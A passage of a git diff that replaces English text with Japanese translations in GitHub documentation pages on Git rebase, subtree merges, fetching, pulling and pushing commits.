 1. {% data variables.product.signout_link %} of your personal account on {% data variables.product.product_location %}.
-2. Quit and restart your browser.
+2. ブラウザを閉じて再起動します。
 3. {% data variables.product.signin_link %} to your personal account on {% data variables.product.product_location %}.
-4. Click on the verification link in the email we sent you.
+4. 弊社が送ったメール上の検証リンクをクリックします。
 
-## Further reading
+## 参考リンク
 
-- "[Changing your primary email address](/articles/changing-your-primary-email-address)"
+- 「[プライマリメールアドレスを変更する](/articles/changing-your-primary-email-address)」
diff --git a/translations/ja-JP/content/get-started/using-git/about-git-rebase.md b/translations/ja-JP/content/get-started/using-git/about-git-rebase.md
index e6fc3b9603..fcbfed428c 100644
--- a/translations/ja-JP/content/get-started/using-git/about-git-rebase.md
+++ b/translations/ja-JP/content/get-started/using-git/about-git-rebase.md
@@ -1,5 +1,5 @@
 ---
-title: About Git rebase
+title: Gitリベースについて
 redirect_from:
   - /rebase
   - articles/interactive-rebase/
@@ -7,68 +7,69 @@ redirect_from:
   - /github/using-git/about-git-rebase
   - /github/getting-started-with-github/about-git-rebase
   - /github/getting-started-with-github/using-git/about-git-rebase
-intro: 'The `git rebase` command allows you to easily change a series of commits, modifying the history of your repository. You can reorder, edit, or squash commits together.'
+intro: '`git rebase` コマンドを使えば、一連のコミットを容易に修正し、リポジトリの履歴を変更できます。 コミットの順序を変更したり、編集したり、まとめて squash できます。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-Typically, you would use `git rebase` to:
 
-* Edit previous commit messages
-* Combine multiple commits into one
-* Delete or revert commits that are no longer necessary
+通常、`git rebase`は以下の目的で使われます。
+
+* 以前のコミットメッセージの編集
+* 複数のコミットを1つにまとめる
+* 不要になったコミットの削除もしくは打ち消し
 
 {% warning %}
 
-**Warning**: Because changing your commit history can make things difficult for everyone else using the repository, it's considered bad practice to rebase commits when you've already pushed to a repository. To learn how to safely rebase on {% data variables.product.product_location %}, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
+**警告**：コミット履歴を変更すると、リポジトリを使う他の人々にとっては難しいことになり得るので、リポジトリにプッシュ済みのコミットをリベースするのは悪いプラクティスと考えられています。 {% data variables.product.product_location %}で安全にリベースする方法を学ぶには[プルリクエストのマージについて](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)を参照してください。
 
 {% endwarning %}
 
-## Rebasing commits against a branch
+## ブランチに対するコミットのリベース
 
-To rebase all the commits between another branch and the current branch state, you can enter the following command in your shell (either the command prompt for Windows, or the terminal for Mac and Linux):
+他のブランチと現在のブランチの状態との間のすべてのコミットをリベースするには、シェル（Windowsのコマンドプロンプト、あるいはMacやLinuxのターミナル）で以下のコマンドを入力してください。
 
 ```shell
 $ git rebase --interactive <em>other_branch_name</em>
 ```
 
-## Rebasing commits against a point in time
+## ある時点に対するコミットのリベース
 
-To rebase the last few commits in your current branch, you can enter the following command in your shell:
+現在のブランチの最後のいくつかのコミットをリベースするには、シェルに以下のコマンドを入力してください。
 
 ```shell
 $ git rebase --interactive HEAD~7
 ```
 
-## Commands available while rebasing
+## リベースに利用できるコマンド
 
-There are six commands available while rebasing:
+リベースの際に利用できるコマンドは6つあります。
 
 <dl>
 <dt><code>pick</code></dt>
-<dd><code>pick</code> simply means that the commit is included. Rearranging the order of the <code>pick</code> commands changes the order of the commits when the rebase is underway. If you choose not to include a commit, you should delete the entire line. </dd>
+<dd><code>pick</code>は単にそのコミットが含まれるということを意味します。 <code>pick</code>コマンドの順序を入れ替えると、リベースが進んでいるときにコミットの順序が変更されます。 コミットを含めないのであれば、行全体を削除してください。 </dd>
 
 <dt><code>reword</code></dt>
-<dd>The <code>reword</code> command is similar to <code>pick</code>, but after you use it, the rebase process will pause and give you a chance to alter the commit message. Any changes made by the commit are not affected. </dd>
+<dd><code>reword</code>コマンドは<code>pick</code>に似ていますが、このコマンドを使った後、リベースの処理は一時的に止まり、コミットメッセージを変更する機会を与えてくれます。 コミットによる変更は影響されません。 </dd>
 
 <dt><code>edit</code></dt>
-<dd>If you choose to <code>edit</code> a commit, you'll be given the chance to amend the commit, meaning that you can add or change the commit entirely. You can also make more commits before you continue the rebase. This allows you to split a large commit into smaller ones, or, remove erroneous changes made in a commit. </dd>
+<dd>コミットを<code>edit</code>すると、コミットを修正することができます。すなわち、コミットに対して追加をしたり、完全に変更したりすることができます。 また、リベースを続ける前にさらにコミットをすることもできます。 こうすることで大きなコミットを小さなコミット群に分割したり、コミット中の間違った変更を取り除いたりすることができます。 </dd>
 
 <dt><code>squash</code></dt>
-<dd>This command lets you combine two or more commits into a single commit. A commit is squashed into the commit above it. Git gives you the chance to write a new commit message describing both changes.</dd>
+<dd>このコマンドを使うと、2 つ以上のコミットを結合して 1 つのコミットにできます。 コミットはその上にあるコミットに squash されます。 Git は、どちらの変更についても記述する新しいコミットメッセージを書かせてくれます。</dd>
 
 <dt><code>fixup</code></dt>
-<dd>This is similar to <code>squash</code>, but the commit to be merged has its message discarded. The commit is simply merged into the commit above it, and the earlier commit's message is used to describe both changes.</dd>
+<dd>これは<code>squash</code>に似ていますが、マージされるコミットのメッセージは破棄されます。 コミットはその上位のコミットに単純にマージされ、選考するコミットのメッセージがどちらの変更の記述としても使われます。</dd>
 
 <dt><code>exec</code></dt>
-<dd>This lets you run arbitrary shell commands against a commit.</dd>
+<dd>このコマンドは、コミットに対して任意のシェルコマンドを実行させてくれます。</dd>
 </dl>
 
-## An example of using `git rebase`
+## `git rebase`の利用例
 
-No matter which command you use, Git will launch [your default text editor](/github/getting-started-with-github/associating-text-editors-with-git) and open a file that details the commits in the range you've chosen. That file looks something like this:
+どのコマンドを使うにしても、Gitは[デフォルトのテキストエディタ](/github/getting-started-with-github/associating-text-editors-with-git)を起動し、選択した範囲のコミットの詳細を記述したファイルをオープンします。 このファイルは以下のようになります。
 
 ```
 pick 1fc6c95 Patch A
@@ -89,23 +90,22 @@ pick 7b36971 something to move before patch B
 #  f, fixup = like "squash", but discard this commit's log message
 #  x, exec = run command (the rest of the line) using shell
 #
-# If you remove a line here THAT COMMIT WILL BE LOST.
 # However, if you remove everything, the rebase will be aborted.
 #
 ```
 
-Breaking this information, from top to bottom, we see that:
+この情報を上から下へ見ていくと、以下のことが分かります。
 
-- Seven commits are listed, which indicates that there were seven changes between our starting point and our current branch state.
-- The commits you chose to rebase are sorted in the order of the oldest changes (at the top) to the newest changes (at the bottom).
-- Each line lists a command (by default, `pick`), the commit SHA, and the commit message. The entire `git rebase` procedure centers around your manipulation of these three columns. The changes you make are *rebased* onto your repository.
-- After the commits, Git tells you the range of commits we're working with (`41a72e6..7b36971`).
-- Finally, Git gives some help by telling you the commands that are available to you when rebasing commits.
+- 7つのコミットがリストされており、出発点から現在のブランチの状態までに7つの変更があったことが示されています。
+- リベースすることにしたコミットは、古い変更（先頭）から新しい変更（末尾）の順に並べられています。
+- 各行にはコマンド（デフォルトでは`pick`）、コミットのSHA、そしてコミットメッセージがリストされています。 `git rebase`の全体の手続きは、これらの3つの列の操作を軸として展開されます。 行った変更は、リポジトリに*リベース*されます。
+- コミット後に、Gitは作業しているコミットの範囲（`41a72e6..7b36971`）を示します。
+- 最後に、Gitはコミットをリベースする際に利用できるコメントを示すことで多少のヘルプを提供しています。
 
-## Further reading
+## 参考リンク
 
-- "[Using Git rebase](/articles/using-git-rebase)"
-- [The "Git Branching" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Branching-Rebasing)
-- [The "Interactive Rebasing" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Tools-Rewriting-History#_changing_multiple)
-- "[Squashing commits with rebase](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)"
-- "[Syncing your branch](/desktop/contributing-to-projects/syncing-your-branch)" in the {% data variables.product.prodname_desktop %} documentation
+- [Git rebaseの利用](/articles/using-git-rebase)
+- [_Pro Git_の"Git Branching"の章](https://git-scm.com/book/en/Git-Branching-Rebasing)
+- [_Pro Git_の"Interactive Rebasing"の章](https://git-scm.com/book/en/Git-Tools-Rewriting-History#_changing_multiple)
+- [リベースでのコミットのsquash](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)
+- {% data variables.product.prodname_desktop %} ドキュメンテーションの「[ブランチを同期する](/desktop/contributing-to-projects/syncing-your-branch)」
diff --git a/translations/ja-JP/content/get-started/using-git/about-git-subtree-merges.md b/translations/ja-JP/content/get-started/using-git/about-git-subtree-merges.md
index d807a05e15..b34dd35ea1 100644
--- a/translations/ja-JP/content/get-started/using-git/about-git-subtree-merges.md
+++ b/translations/ja-JP/content/get-started/using-git/about-git-subtree-merges.md
@@ -1,5 +1,5 @@
 ---
-title: About Git subtree merges
+title: Gitのサブツリーのマージについて
 redirect_from:
   - /articles/working-with-subtree-merge
   - /subtree-merge
@@ -7,38 +7,39 @@ redirect_from:
   - /github/using-git/about-git-subtree-merges
   - /github/getting-started-with-github/about-git-subtree-merges
   - /github/getting-started-with-github/using-git/about-git-subtree-merges
-intro: 'If you need to manage multiple projects within a single repository, you can use a *subtree merge* to handle all the references.'
+intro: 複数のプロジェクトを単一のリポジトリで管理する必要がある場合、*サブツリーマージ*を使ってすべての参照を扱うことができます。
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
+
 ## About subtree merges
 
-Typically, a subtree merge is used to contain a repository within a repository. The "subrepository" is stored in a folder of the main repository.
+通常、サブツリーのマージはリポジトリ内にリポジトリを格納するために使われます。 「サブリポジトリ」はメインのリポジトリのフォルダー内に格納されます。
 
-The best way to explain subtree merges is to show by example. We will:
+サブツリーマージは、例で説明するのが最も分かりやすいでしょう。 以下のように進めます:
 
-- Make an empty repository called `test` that represents our project
-- Merge another repository into it as a subtree called `Spoon-Knife`.
-- The `test` project will use that subproject as if it were part of the same repository.
-- Fetch updates from `Spoon-Knife` into our `test` project.
+- プロジェクトを表す`test`という空のリポジトリの作成。
+- `Spoon-Knife`というもう1つのリポジトリをサブツリーとしてマージ。
+- `test`プロジェクトは、そのサブプロジェクトを同じリポジトリの一部であるかのように使う。
+- `Spoon-Knife`からの更新を`test` プロジェクトにフェッチする。
 
-## Setting up the empty repository for a subtree merge
+## サブツリーマージのための空のリポジトリのセットアップ
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a new directory and navigate to it.
+2. 新しいディレクトリを作成し、そこに移動します。
   ```shell
   $ mkdir test
   $ cd test
   ```
-3. Initialize a new Git repository.
+3. 新しい Git リポジトリを初期化します。
   ```shell
   $ git init
   > Initialized empty Git repository in /Users/octocat/tmp/test/.git/
   ```
-4. Create and commit a new file.
+4. 新しいファイルを作成してコミットします。
   ```shell
   $ touch .gitignore
   $ git add .gitignore
@@ -48,9 +49,9 @@ The best way to explain subtree merges is to show by example. We will:
   >  create mode 100644 .gitignore
   ```
 
-## Adding a new repository as a subtree
+## 新しいリポジトリをサブツリーとして追加
 
-1. Add a new remote URL pointing to the separate project that we're interested in.
+1. 関心のある別個のプロジェクトを指す新しいリモート URL を追加します。
   ```shell
   $ git remote add -f spoon-knife git@github.com:octocat/Spoon-Knife.git
   > Updating spoon-knife
@@ -63,52 +64,52 @@ The best way to explain subtree merges is to show by example. We will:
   > From git://github.com/octocat/Spoon-Knife
   >  * [new branch]      main     -> Spoon-Knife/main
   ```
-2. Merge the `Spoon-Knife` project into the local Git project. This doesn't change any of your files locally, but it does prepare Git for the next step.
+2. `Spoon-Knife` プロジェクトをローカルの Git プロジェクトにマージします。 こうしてもローカルではファイルはまったく変更されませんが、Git は次のステップに備えることになります。
 
-  If you're using Git 2.9 or above:
+  Git 2.9 以降を使用している場合:
   ```shell
   $ git merge -s ours --no-commit --allow-unrelated-histories spoon-knife/main
   > Automatic merge went well; stopped before committing as requested
   ```
 
-  If you're using Git 2.8 or below:
+  Git 2.8 以前を使用している場合:
   ```shell
   $ git merge -s ours --no-commit spoon-knife/main
   > Automatic merge went well; stopped before committing as requested
   ```
-3. Create a new directory called **spoon-knife**, and copy the Git history of the `Spoon-Knife` project into it.
+3. **spoon-knife** というディレクトリを新たに作成し、`Spoon-Knife` プロジェクトの Git の履歴をそこへコピーします。
   ```shell
   $ git read-tree --prefix=spoon-knife/ -u spoon-knife/main
   ```
-4. Commit the changes to keep them safe.
+4. 変更をコミットして安全にします。
   ```shell
   $ git commit -m "Subtree merged in spoon-knife"
   > [main fe0ca25] Subtree merged in spoon-knife
   ```
 
-Although we've only added one subproject, any number of subprojects can be incorporated into a Git repository.
+ここでは 1 つのサブプロジェクトを追加しただけですが、Git リポジトリには任意の数のサブプロジェクトを取り込むことができます。
 
 {% tip %}
 
-**Tip**: If you create a fresh clone of the repository in the future,  the remotes you've added will not be created for you. You will have to add them again using [the `git remote add` command](/github/getting-started-with-github/managing-remote-repositories).
+**ヒント**: 将来このリポジトリのクローンを新しく作成した場合、追加したリモートは作成されません。 [`git remote add` コマンド](/github/getting-started-with-github/managing-remote-repositories)を使って、再び追加する必要があります。
 
 {% endtip %}
 
-## Synchronizing with updates and changes
+## 更新および変更の同期
 
-When a subproject is added, it is not automatically kept in sync with the upstream changes. You will need to update the subproject with the following command:
+サブプロジェクトが追加された場合、そのサブプロジェクトは上流の変更と自動的には同期されません。 以下のコマンドで、サブプロジェクトを更新する必要があります。
 
 ```shell
 $ git pull -s subtree <em>remotename</em> <em>branchname</em>
 ```
 
-For the example above, this would be:
+上の例では、以下のようになるでしょう:
 
 ```shell
 $ git pull -s subtree spoon-knife main
 ```
 
-## Further reading
+## 参考リンク
 
-- [The "Advanced Merging" chapter from the _Pro Git_ book](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging)
-- "[How to use the subtree merge strategy](https://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html)"
+- [_Pro Git_ ブックの「高度なマージ」の章](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging)
+- [サブツリーマージの戦略の使い方](https://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html)
diff --git a/translations/ja-JP/content/get-started/using-git/about-git.md b/translations/ja-JP/content/get-started/using-git/about-git.md
index f94c074ced..ec59345ceb 100644
--- a/translations/ja-JP/content/get-started/using-git/about-git.md
+++ b/translations/ja-JP/content/get-started/using-git/about-git.md
@@ -34,7 +34,7 @@ In a distributed version control system, every developer has a full copy of the
 
 - Businesses using Git can break down communication barriers between teams and keep them focused on doing their best work. Plus, Git makes it possible to align experts across a business to collaborate on major projects.
 
-## About repositories
+## リポジトリについて
 
 A repository, or Git project, encompasses the entire collection of files and folders associated with a project, along with each file's revision history. The file history appears as snapshots in time called commits. The commits can be organized into multiple lines of development called branches. Because Git is a DVCS, repositories are self-contained units and anyone who has a copy of the repository can access the entire codebase and its history. Using the command line or other ease-of-use interfaces, a Git repository also allows for: interaction with the history, cloning the repository, creating branches, committing, merging, comparing changes across versions of code, and more.
 
@@ -164,7 +164,7 @@ With a shared repository, individuals and teams are explicitly designated as con
 
 For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under a developer's personal account. Every developer has full control of their fork and is free to implement a fix or a new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)."
 
-## Further reading
+## 参考リンク
 
 The {% data variables.product.product_name %} team has created a library of educational videos and guides to help users continue to develop their skills and build better software.
 
diff --git a/translations/ja-JP/content/get-started/using-git/getting-changes-from-a-remote-repository.md b/translations/ja-JP/content/get-started/using-git/getting-changes-from-a-remote-repository.md
index 63fa47a4cd..5b96105f48 100644
--- a/translations/ja-JP/content/get-started/using-git/getting-changes-from-a-remote-repository.md
+++ b/translations/ja-JP/content/get-started/using-git/getting-changes-from-a-remote-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Getting changes from a remote repository
-intro: You can use common Git commands to access remote repositories.
+title: リモートリポジトリから変更を取得する
+intro: 一般的な Git コマンドを使用して、リモートリポジトリにアクセスできます。
 redirect_from:
   - /articles/fetching-a-remote
   - /articles/getting-changes-from-a-remote-repository
@@ -14,74 +14,69 @@ versions:
   ghec: '*'
 shortTitle: Get changes from a remote
 ---
+
 ## Options for getting changes
 
-These commands are very useful when interacting with [a remote repository](/github/getting-started-with-github/about-remote-repositories). `clone` and `fetch` download remote code from a repository's remote URL to your local computer, `merge` is used to merge different people's work together with yours, and `pull` is a combination of `fetch` and `merge`.
+これらのコマンドは[リモートリポジトリ](/github/getting-started-with-github/about-remote-repositories)の操作時に非常に便利です。 `clone` および `fetch` は、リポジトリのリモート URL からお使いのローカルのコンピュータにリモートコードをダウンロードします。`merge` は、他のユーザの作業を自分のものとマージするために使用します。`pull` は、`fetch` と `merge` の組み合わせです。
 
-## Cloning a repository
+## リポジトリをクローンする
 
-To grab a complete copy of another user's repository, use `git clone` like this:
+他のユーザのリポジトリの完全なコピーを取得するには、以下のように `git clone` を使用します:
 
 ```shell
-$ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
-# Clones a repository to your computer
+$ git clone https://{% data variables.command_line.codeblock %}/<em>ユーザ名</em>/<em>REPOSITORY</em>.git
+# リポジトリを自分のコンピュータにクローン
 ```
 
-You can choose from [several different URLs](/github/getting-started-with-github/about-remote-repositories) when cloning a repository. While logged in to {% data variables.product.prodname_dotcom %}, these URLs are available below the repository details:
+リポジトリのクローン時は、[複数の異なる URL](/github/getting-started-with-github/about-remote-repositories) から選択できます。 {% data variables.product.prodname_dotcom %}にログインした状態である間は、これらの URL はリポジトリの詳細の下に表示されます:
 
-![Remote URL list](/assets/images/help/repository/remotes-url.png)
+![リモート URL リスト](/assets/images/help/repository/remotes-url.png)
 
-When you run `git clone`, the following actions occur:
-- A new folder called `repo` is made
-- It is initialized as a Git repository
-- A remote named `origin` is created, pointing to the URL you cloned from
-- All of the repository's files and commits are downloaded there
-- The default branch is checked out
+`git clone` を実行すると、以下のアクションが発生します:
+- `repo` と呼ばれる新たなフォルダが作成される
+- Git リポジトリとして初期化される
+- クローン元の URL を指す `origin` という名前のリモートが作成される
+- リポジトリのファイルとコミットすべてがそこにダウンロードされる
+- デフォルトブランチがチェックアウトされる
 
-For every branch `foo` in the remote repository, a corresponding remote-tracking branch
-`refs/remotes/origin/foo` is created in your local repository. You can usually abbreviate
-such remote-tracking branch names to `origin/foo`.
+リモートリポジトリ内の各ブランチの `foo` と、対応するリモート追跡ブランチである `refs/remotes/origin/foo` がローカルのリポジトリに作成されます。 このようなリモート追跡ブランチの名前は、通常 `origin/foo` と省略できます。
 
-## Fetching changes from a remote repository
+## リモートリポジトリから変更をフェッチする
 
-Use `git fetch` to retrieve new work done by other people. Fetching from a repository grabs all the new remote-tracking branches and tags *without* merging those changes into your own branches.
+`git fetch` を使用して、他のユーザによる新たな作業成果を取得できます。 リポジトリからフェッチすると、すべての新しいリモート追跡ブランチとタグが取得され、かつ、それらの変更は自分のブランチへマージ*されません*。
 
 If you already have a local repository with a remote URL set up for the desired project, you can grab all the new information by using `git fetch *remotename*` in the terminal:
 
 ```shell
 $ git fetch <em>remotename</em>
-# Fetches updates made to a remote repository
+# リモートリポジトリへの更新をフェッチする
 ```
 
-Otherwise, you can always add a new remote and then fetch. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+Otherwise, you can always add a new remote and then fetch. 詳しい情報については「[リモートリポジトリの管理](/github/getting-started-with-github/managing-remote-repositories)」を参照してください。
 
-## Merging changes into your local branch
+## ローカルブランチに変更をマージする
 
-Merging combines your local changes with changes made by others.
+マージとは、あなたのローカルでの変更を他のユーザによる変更と結合させる処理です。
 
-Typically, you'd merge a remote-tracking branch (i.e., a branch fetched from a remote repository) with your local branch:
+通常、リモート追跡ブランチ (リモートリポジトリからフェッチされたブランチ) をローカルのブランチとマージします。
 
 ```shell
 $ git merge <em>remotename</em>/<em>branchname</em>
-# Merges updates made online with your local work
+# オンラインで行われた更新をローカル作業にマージする
 ```
 
-## Pulling changes from a remote repository
+## リモートリポジトリから変更をプルする
 
-`git pull` is a convenient shortcut for completing both `git fetch` and `git merge `in the same command:
+`git pull` は、`git fetch` と `git merge` を 1 つのコマンドで実行できる便利なショートカットです:
 
 ```shell
 $ git pull <em>remotename</em> <em>branchname</em>
-# Grabs online updates and merges them with your local work
+# オンライン更新をローカル作業にマージ
 ```
 
-Because `pull` performs a merge on the retrieved changes, you should ensure that
-your local work is committed before running the `pull` command. If you run into
-[a merge conflict](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)
-you cannot resolve, or if you decide to quit the merge, you can use `git merge --abort`
-to take the branch back to where it was in before you pulled.
+`pull` は、取得された変更のマージを実行するため、`pull` コマンドの実行前にローカルの作業がコミットされていることを確認する必要があります。 解決できない[マージコンフリクト](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)が発生した場合、あるいはマージを中止したい場合は、`git merge --abort` を使用して、プルを行う前の状態にブランチを戻すことができます。
 
-## Further reading
+## 参考リンク
 
 - ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)"{% ifversion fpt or ghec %}
-- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)"{% endif %}
+- 「[接続の問題のトラブルシューティング](/articles/troubleshooting-connectivity-problems)」{% endif %}
diff --git a/translations/ja-JP/content/get-started/using-git/index.md b/translations/ja-JP/content/get-started/using-git/index.md
index d0382733d1..713ac27c4d 100644
--- a/translations/ja-JP/content/get-started/using-git/index.md
+++ b/translations/ja-JP/content/get-started/using-git/index.md
@@ -1,5 +1,5 @@
 ---
-title: Using Git
+title: Git を使用する
 intro: 'Use Git to manage your {% data variables.product.product_name %} repositories from your computer.'
 redirect_from:
   - /articles/using-common-git-commands
diff --git a/translations/ja-JP/content/get-started/using-git/pushing-commits-to-a-remote-repository.md b/translations/ja-JP/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
index b5c8c33262..2d4fcbec7c 100644
--- a/translations/ja-JP/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
+++ b/translations/ja-JP/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Pushing commits to a remote repository
-intro: Use `git push` to push commits made on your local branch to a remote repository.
+title: コミットをリモートリポジトリにプッシュする
+intro: ローカルブランチで実行されたコミットをリモートリポジトリにプッシュするには、`git push` を使用します。
 redirect_from:
   - /articles/pushing-to-a-remote
   - /articles/pushing-commits-to-a-remote-repository
@@ -14,106 +14,94 @@ versions:
   ghec: '*'
 shortTitle: Push commits to a remote
 ---
+
 ## About `git push`
-The `git push` command takes two arguments:
+`git push` コマンドは、2 つの引数を取ります:
 
-* A remote name, for example, `origin`
-* A branch name, for example, `main`
+* リモート名。たとえば `origin`
+* ブランチ名。 たとえば `master`
 
-For example:
+例:
 
 ```shell
 git push <em> &lt;REMOTENAME> &lt;BRANCHNAME> </em>
 ```
 
-As an example, you usually run `git push origin main` to push your local changes
-to your online repository.
+たとえば、通常は `git push origin master` を実行してローカルの変更をオンラインリポジトリプッシュします。
 
-## Renaming branches
+## ブランチの名前を変更する
 
-To rename a branch, you'd use the same `git push` command, but you would add
-one more argument: the name of the new branch. For example:
+ブランチの名前を変更する場合も、同じ `git push` コマンドを使用しますが、引数が 1 つ増えます。新しいブランチの名前です。 例:
 
 ```shell
 git push <em> &lt;REMOTENAME> &lt;LOCALBRANCHNAME></em>:<em>&lt;REMOTEBRANCHNAME> </em>
 ```
 
-This pushes the `LOCALBRANCHNAME` to your `REMOTENAME`, but it is renamed to `REMOTEBRANCHNAME`.
+こうすると、`LOCALBRANCHNAME` が `REMOTENAME` にプッシュされますが、名前が `REMOTEBRANCHNAME` に変更されます。
 
-## Dealing with "non-fast-forward" errors
+## "non-fast-forward" エラーに対処する
 
-If your local copy of a repository is out of sync with, or "behind," the upstream
-repository you're pushing to, you'll get a message saying `non-fast-forward updates were rejected`.
-This means that you must retrieve, or "fetch," the upstream changes, before
-you are able to push your local changes.
+リポジトリのローカルコピーが同期されていない、つまりプッシュ先である上流リポジトリより古くなっている場合は、`non-fast-forward updates were rejected` というメッセージが表示されます。 これは、ローカルの変更をプッシュする前に上流の変更を取得、つまり「フェッチ」する必要があるという意味です。
 
-For more information on this error, see "[Dealing with non-fast-forward errors](/github/getting-started-with-github/dealing-with-non-fast-forward-errors)."
+このエラーに関する詳細は、「[non-fast-forward エラーに対処する](/github/getting-started-with-github/dealing-with-non-fast-forward-errors)」を参照してください。
 
-## Pushing tags
+## タグをプッシュする
 
-By default, and without additional parameters, `git push` sends all matching branches
-that have the same names as remote branches.
+デフォルトで、追加のパラメータを使用しない場合、`git push` はリモートブランチと名前が一致するすべてのブランチを送信します。
 
-To push a single tag, you can issue the same command as pushing a branch:
+1 つのタグをプッシュする場合は、ブランチをプッシュするときと同じコマンドを発行できます。
 
 ```shell
 git push <em> &lt;REMOTENAME> &lt;TAGNAME> </em>
 ```
 
-To push all your tags, you can type the command:
+すべてのタグをプッシュする場合は、次のコマンドを使用できます:
 
 ```shell
 git push <em> &lt;REMOTENAME></em> --tags
 ```
 
-## Deleting a remote branch or tag
+## リモートブランチまたはタグを削除する
 
-The syntax to delete a branch is a bit arcane at first glance:
+ブランチを削除する構文は、1 回見ただけでは少し難解です:
 
 ```shell
 git push <em> &lt;REMOTENAME></em> :<em>&lt;BRANCHNAME> </em>
 ```
 
-Note that there is a space before the colon. The command resembles the same steps
-you'd take to rename a branch. However, here, you're telling Git to push _nothing_
-into `BRANCHNAME` on `REMOTENAME`. Because of this, `git push` deletes the branch
-on the remote repository.
+コロンの前にスペースがあることに注意してください。 このコマンドは、ブランチの名前を変更するときと似ています。 ただしこちらでは、`REMOTENAME` の `BRANCHNAME` に_何もプッシュしない_よう Git に指示しています。 そのため、`git push` によってリモートリポジトリのブランチが削除されます。
 
-## Remotes and forks
+## リモートとフォーク
 
-You might already know that [you can "fork" repositories](https://guides.github.com/overviews/forking/) on GitHub.
+GitHub では、[リポジトリを「フォーク」できる](https://guides.github.com/overviews/forking/)ことをご存じでしょう。
 
-When you clone a repository you own, you provide it with a remote URL that tells
-Git where to fetch and push updates. If you want to collaborate with the original
-repository, you'd add a new remote URL, typically called `upstream`, to
-your local Git clone:
+自分が所有しているリポジトリをクローンするとき、リモート URL を指定すると、更新をフェッチおよびプッシュする対象を Git に指示することができます。 元のリポジトリとのコラボレーションが必要な場合は、ローカルの Git クローンに新しいリモート URL を追加するといいでしょう。その名前は通例、`upstream` です。
 
 ```shell
 git remote add upstream <em> &lt;THEIR_REMOTE_URL> </em>
 ```
 
-Now, you can fetch updates and branches from *their* fork:
+これで、更新とブランチを*その*フォークからフェッチできるようになります。
 
 ```shell
 git fetch upstream
-# Grab the upstream remote's branches
+# 上流のリモートブランチを取得
 > remote: Counting objects: 75, done.
 > remote: Compressing objects: 100% (53/53), done.
 > remote: Total 62 (delta 27), reused 44 (delta 9)
 > Unpacking objects: 100% (62/62), done.
 > From https://{% data variables.command_line.codeblock %}/<em>octocat</em>/<em>repo</em>
->  * [new branch]      main     -> upstream/main
+>  * [new branch]      master     -> upstream/master
 ```
 
-When you're done making local changes, you can push your local branch to GitHub
-and [initiate a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+ローカルの変更が終わったら、ローカルブランチを GitHub にプッシュし、[プルリクエストを開始する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)ことができます。
 
-For more information on working with forks, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)".
+フォークの扱いに関する詳細は、「[フォークを同期する](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- [The "Remotes" chapter from the "Pro Git" book](https://git-scm.com/book/ch5-2.html)
+- [「Pro Git」ブックの「リモート」の章](https://git-scm.com/book/ch5-2.html)
 - [`git remote` main page](https://git-scm.com/docs/git-remote.html)
-- "[Git cheatsheet](/articles/git-cheatsheet)"
-- "[Git workflows](/github/getting-started-with-github/git-workflows)"
-- "[Git Handbook](https://guides.github.com/introduction/git-handbook/)"
+- [Git チートシート](/articles/git-cheatsheet)
+- [Git のワークフロー](/github/getting-started-with-github/git-workflows)
+- 「[Git ハンドブック](https://guides.github.com/introduction/git-handbook/)」
diff --git a/translations/ja-JP/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md b/translations/ja-JP/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
index 49eef30c38..37ebc089ec 100644
--- a/translations/ja-JP/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
+++ b/translations/ja-JP/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
@@ -1,12 +1,12 @@
 ---
-title: Splitting a subfolder out into a new repository
+title: サブフォルダを新規リポジトリに分割する
 redirect_from:
   - /articles/splitting-a-subpath-out-into-a-new-repository
   - /articles/splitting-a-subfolder-out-into-a-new-repository
   - /github/using-git/splitting-a-subfolder-out-into-a-new-repository
   - /github/getting-started-with-github/splitting-a-subfolder-out-into-a-new-repository
   - /github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository
-intro: You can turn a folder within a Git repository into a brand new repository.
+intro: Git リポジトリ内のフォルダを、全く新しいリポジトリに変更できます。
 versions:
   fpt: '*'
   ghes: '*'
@@ -14,18 +14,19 @@ versions:
   ghec: '*'
